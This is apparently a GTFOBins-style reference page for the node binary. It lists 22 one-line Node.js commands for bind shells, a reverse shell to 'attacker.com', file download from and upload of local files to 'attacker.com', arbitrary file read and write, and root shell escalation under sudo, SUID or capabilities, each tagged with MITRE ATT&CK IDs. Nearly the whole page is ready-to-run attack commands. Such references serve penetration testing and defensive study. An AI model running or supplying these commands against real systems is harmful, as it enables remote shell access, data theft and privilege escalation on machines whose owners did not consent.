GTFO · Tool

node

22 techniques Linux · macOSGTFOBins GPL-3.0

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

Context: sudo
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/node/

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

Context: suid
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/node/

bind-shell

Reverse/Bind Shell LinuxmacOS

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

Context: unprivileged
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/node/

download

File DownloadPrivilege Escalation LinuxmacOS

node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'

Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/node/

download

File DownloadPrivilege Escalation LinuxmacOS

node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'

Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/node/

download

File Download LinuxmacOS

node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'

Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/node/

file-read

File ReadPrivilege Escalation LinuxmacOS

node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/node/

file-read

File ReadPrivilege Escalation LinuxmacOS

node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/node/

file-read

File Read LinuxmacOS

node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/node/

file-write

File WritePrivilege Escalation LinuxmacOS

node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/node/

file-write

File WritePrivilege Escalation LinuxmacOS

node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/node/

file-write

File Write LinuxmacOS

node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/node/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/node/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/node/

reverse-shell

Reverse/Bind Shell LinuxmacOS

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/node/

shell

ExecutionPrivilege Escalation LinuxmacOS

node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Context: capabilities
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/node/

shell

ExecutionPrivilege Escalation LinuxmacOS

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/node/

shell

ExecutionPrivilege Escalation LinuxmacOS

node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/node/

shell

Execution LinuxmacOS

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/node/

upload

File UploadPrivilege Escalation LinuxmacOS

node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/node/

upload

File UploadPrivilege Escalation LinuxmacOS

node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'

Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/node/

upload

File Upload LinuxmacOS

node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/node/